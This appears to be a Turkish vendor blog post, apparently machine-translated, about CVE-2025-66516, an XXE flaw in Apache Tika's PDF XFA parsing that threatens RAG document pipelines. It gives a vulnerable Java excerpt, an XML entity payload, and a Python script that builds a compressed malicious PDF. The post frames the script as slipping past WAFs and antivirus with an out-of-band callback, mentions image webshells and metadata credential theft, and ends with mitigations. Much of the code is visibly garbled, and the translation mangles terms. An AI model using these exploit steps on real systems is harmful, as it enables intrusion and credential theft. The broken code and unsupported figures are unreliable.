Penligent Başlık

Bir RAG Katilinin Anatomisi: CVE-2025-66516 ve Apache Tika RCE'ye Derin Dalış

Geri Alım-Artırılmış Üretim (RAG) boru hatlarını devreye sokma telaşındaki sektör, temel bir gerçeği toplu olarak göz ardı etti: Ayrıştırıcı saldırı yüzeyidir.

2025'te manşetler Prompt Injection ve Jailbreaking'e odaklanırken, en yıkıcı saldırılar verileri işleyen gösterişsiz ara yazılımları hedef alıyor. CVE-2025-66516 (CVSS 10.0) bu gözetimin doruk noktasıdır. Bu bir yapay zeka açığı değildir kendi başınaModern yapay zeka mimarilerine karşı silahlandırılmış eski bir altyapı güvenlik açığıdır.

Bu analiz, Apache Tika XFA güvenlik açığının mekaniğini ortaya koymakta, standart WAF'ların bu açığı neden yakalayamadığını göstermekte ve sızma testçileri için doğrulanmış bir Kavram Kanıtı (PoC) stratejisi sunmaktadır.

Bağlam: CVE-2025-66516 Neden Şimdi Önemli?

Bu durumun ciddiyetini anlamak için 2026 yılında tipik bir Kurumsal RAG sisteminin mimarisini analiz etmeliyiz.

  1. Kullanıcı Katmanı: Bir çalışan, dahili bir "Yapay Zeka Asistanına" bir PDF (örneğin, bir mali rapor veya özgeçmiş) yükler.
  2. Yutma Katmanı: Arka uç (LangChain, LlamaIndex veya özel Python komut dosyaları) bir belge yükleyici kullanır.
  3. Ayrıştırma Katmanı: Bu yükleyicilerin 85%'si Apaçi Tika (genellikle bir Docker konteynerinde başsız bir sunucu olarak çalışır) metin ayıklamak için.
  4. Vektörleştirme: Metin gömülür ve bir vektör veritabanında (Pinecone, Milvus, Weaviate) saklanır.

CVE-2025-66516 isabet Katman 3. Bir saldırganın standart bir PDF içine kötü amaçlı bir XML Forms Architecture (XFA) yükü yerleştirmesine olanak tanır. Tika, LLM için metin ayıklamak üzere form verilerini ayrıştırmaya çalıştığında, XML'i çalıştırarak şu sonuçlara yol açar XML Harici Varlık (XXE) Enjeksiyon.

Tika Server genellikle geçici dosyaları işlemek için konteynerlerin içinde root ayrıcalıklarıyla çalıştığından, bu XXE hemen Uzaktan Kod Yürütme (RCE) veya Sunucu Tarafı İstek Sahteciliği (SSRF)saldırganların AWS meta veri kimlik bilgilerini boşaltmasına veya dahili VPC'ye girmesine olanak tanır.

Bir RAG Katilinin Anatomisi: CVE-2025-66516 ve Apache Tika RCE'ye Derin Dalış

Teknik Döküm: XFA Ayrıştırıcı Mantık Hatası

Güvenlik açığı org.apache.tika.parser.pdf.PDFParser sınıfını, özellikle de XDP (XML Veri Paketi) paketlerini bir PDF'nin içine yerleştirir.

3.2.2'den önceki sürümlerde, XFA verilerini ayıklama mantığı şuna benzerdi (basitleştirilmiş Java gösterimi):

Java

// VULNERABLE CODE SEGMENT (Kavramsal) if (document.getCatalog().getAcroForm().hasXFA()) { XFA xfa = document.getCatalog().getAcroForm().getXFA(); Document xfaDom = xfa.getDomDocument(); // <--- Tetikleme Noktası // Buradaki varsayılan XML dönüştürücü, XFA akışları için DTD'leri // veya harici varlıkları etkin bir şekilde devre dışı bırakmamıştır. this.extractTextFromXFA(xfaDom); }

Kritik hata, PDF oluşturma motorunun (PDFBox) Tika DOM'a erişmeden önce XML akışını sterilize ettiğini varsaymaktı. Ama öyle olmadı. Ayrıştırıcı PDF'nin iç yapısına dolaylı olarak güveniyordu.

Karşılaştırma: Standart XXE ile CVE-2025-66516

ÖzellikStandart XXECVE-2025-66516 (Tika XFA)
VektörDoğrudan XML Yükleme (.xml)İkili PDF içine gömülü (.pdf)
AlgılamaKolay (WAFs bloğu <!ENTITY)Sert (Yük PDF akışlarında sıkıştırılır/kodlanır)
AyrıcalıklarGenellikle sınırlı web kullanıcısıOften Root (Dockerized Tika Server varsayılanları)
EtkiBilgi AçıklamasıSınıf Yükleme / SSRF aracılığıyla RCE

İstismarın Oluşturulması (PoC)

Bunu silah olarak kullanmak için basit bir metin editörü yeterli değildir. PDF nesne yapısını manipüle etmemiz gerekiyor. Amaç kötü niyetli bir XDP kontrolünüz altındaki harici bir varlığa referans veren akış.

Aşama 1: Kötü Amaçlı XML Yükü

İlk olarak, varlığı tanımlayan XML'i oluşturuyoruz. Sunucuyu çökertmeden güvenlik açığını doğrulamak için Bant Dışı (OOB) etkileşimi test etmek istiyoruz.

XML

<xdp:xdp xmlns:xdp=""> <!DOCTYPE data [ <!ENTITY % payload SYSTEM ""> %payload; ]> CVE-Check

Bir RAG Katilinin Anatomisi: CVE-2025-66516 ve Apache Tika RCE'ye Derin Dalış

Aşama 2: Python Enjeksiyon Komut Dosyası

Bu XML'i geçerli bir PDF nesne yapısına dönüştürmek için Python kullanıyoruz. Dosya matematiksel olarak geçerli bir PDF olduğu için bu, imza tabanlı antivirüsü atlar.

Python

`import zlib

def build_exploit_pdf(callback_url): # 1. Kötü Amaçlı XFA Paketini Tanımlayın xfa_xml = f""" <xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/"> <!DOCTYPE root [ %xxe; ]> """.strip()

# 2. Akışı sıkıştırma (Gizleme)
# Tika bunu otomatik olarak şişirecektir, ancak WAF'lar genellikle sıkıştırılmış akışları kaçırır
stream_content = zlib.compress(xfa_xml.encode('utf-8'))

# 3. PDF Gövdesini Oluşturma
# Nesne 3 XFA akışına referans verir
pdf_body = (
    b "%PDF-1.7\\n"
    b "1 0 obj\\n<< /Type /Catalog /Pages 2 0 R /AcroForm <> >\\nendobj\\n"
    b "2 0 obj\\n<>\\nendobj\\n"
    b "3 0 obj\\n>\\n"
    b "stream\\n" + stream_content + b"\\nendstream\\nendobj\\n"
    b "trailer\\n<>\\n%%EOF"
)

with open("resume_hacker.pdf", "wb") as f:
    f.write(pdf_body)
print(f"[+] Artifact 'resume_hacker.pdf' zlib sıkıştırması kullanılarak oluşturuldu.")

Yürütmek

build_exploit_pdf("http://burp-collaborator-url/xxe_trigger“)`

Kurbanın RAG aracısı işlediğinde resume_hacker.pdf katıştırmaları oluşturmak için Tika arka ucu nesne 3'ü şişirir, XML'i ayrıştırır ve ortak çalışan URL'nize bir istek gönderir.

Modern DevSecOps'taki Kör Nokta

CVE-2025-66516 neden 2026'da ısrarcı? "Shift Left" metodolojisindeki önemli bir boşluğu vurgulamaktadır.

Çoğu DevSecOps ekibi kendi kaynak kodu (SAST) ve onların temel görüntüler (Konteyner Tarama). Ancak, Tika genellikle bir "kara kutu" yardımcı programı olarak değerlendirilir.

  • SAST bunu görmez çünkü bu ikili bir bağımlılıktır.
  • DAST (Dinamik Uygulama Güvenlik Testi) genellikle API uç noktalarını JSON veya SQLi ile bulanıklaştırır, ancak nadiren karmaşık, ikili biçimli çoklu dosya yüklemelerini dener.

Eski test metodolojilerinin Yapay Zeka Ajanları karşısında başarısız olduğu yer burasıdır. Ajan, karmaşık yapılandırılmamış verileri tüketmek üzere tasarlanmıştır; bu nedenle, test senaryoları karmaşık yapılandırılmamış veriler olmalıdır.

Penligent ile Otomatik Doğrulama

Bu özel vektör - yapılandırılmamış dosya formatlarına gömülü saldırılar - yeni nesil saldırgan güvenliğin temel odak noktasıdır. İşte bu noktada Penligent kendilerini Nessus veya Burp Suite gibi geleneksel tarayıcılardan farklılaştırır.

Penligent'ın yapay zeka aracıları, uygulamanın bağlamını anlamak için tasarlanmıştır. Penligent, bir RAG boru hattında bir dosya yükleme uç noktasıyla karşılaştığında, yalnızca HTTP başlıklarını bulanıklaştırmakla kalmaz. Yukarıdaki PDF istismarı gibi "mutasyon tabanlı" yükleri akıllıca oluşturur. Etkili bir şekilde sorar: "Bu yapay zekayı çekirdek seviyesinde bir açık içeren bir özgeçmişle beslersem, bunu işler mi?"

Penligent, bu çok dilli dosyaların (XXE içeren PDF'ler, PHP webshells içeren görüntüler) oluşturulmasını otomatikleştirerek, hedefin temel ayrıştırma mantığını anlayan sofistike bir saldırganı simüle eder ve RAG boru hattının CVE-2025-66516 ve benzeri "format karışıklığı" saldırılarına karşı direncinin gerçekçi bir değerlendirmesini sağlar.

Hafifletme Stratejileri

Kuruluşunuz Tika'ya (veya onu paketleyen çerçevelere, örneğin Unstructured.io veya LangChain Topluluğu), bu düzeltmeleri hemen uygulayın.

1. "Nükleer" Seçenek: XFA'yı Devre Dışı Bırakın

İşiniz özellikle etkileşimli PDF formlarından veri ayrıştırmayı gerektirmedikçe (ki bu RAG için nadirdir), XFA ayrıştırıcısını tika-config.xml.

XML

false false false

2. Ayrıştırıcıyı İzole Edin ("Hava Kilidi" Modeli)

Belge ayrıştırma işlemini asla uygulama mantığınız veya vektör veritabanınızla aynı bağlamda çalıştırmayın.

  • Tika'yı dağıtımsız bir konteynerde çalıştırın.
  • Ağ İzolasyonu: Tika konteynerinde şunlar bulunmalıdır sıfır çıkış erişimi. Bir dosya alır, metin döndürür ve internete veya dahili bulut meta veri hizmetine bağlantı başlatamaz (169.254.169.254).
  • Kaynak Sınırları: Sıkı bellek sınırları belirleyin (Xmx) genellikle XXE'nin kuzenleri olan "Billion Laughs" DoS saldırılarını önlemek için.

3. Sandboxed Ayrıştırıcılara Geçin

Güvenilmeyen girdiler için Java tabanlı ayrıştırıcılardan uzaklaşmayı düşünün. Rust veya Go kullanan modern alternatifler veya aşağıdaki gibi sandboxed ortamlar gVisor veya AWS Firecrackerikili dosyaları ayrıştırma gibi doğası gereği riskli bir görev için çok daha güçlü bir izolasyon katmanı sağlar.

Özet

CVE-2025-66516, Yapay Zeka Güvenliği için bir uyandırma çağrısı niteliğindedir. Kumun üzerine akıllı kaleler inşa ediyoruz. YZ modellerimiz dünyayı yorumlamak için onlarca yıllık ayrıştırma kütüphanelerine güvendiği sürece, bu kütüphaneler saldırganlar için en az dirençli yol olmaya devam edecektir.

Alım katmanınızın güvenliğini sağlayın. Tika sürümlerinizi doğrulayın. Ve aksi kanıtlanana kadar sisteminize yüklenen her PDF'nin bir silah olduğunu varsayın.

Referanslar & Daha Fazla Okuma

Gönderiyi paylaş:
İlgili Yazılar
tr_TRTurkish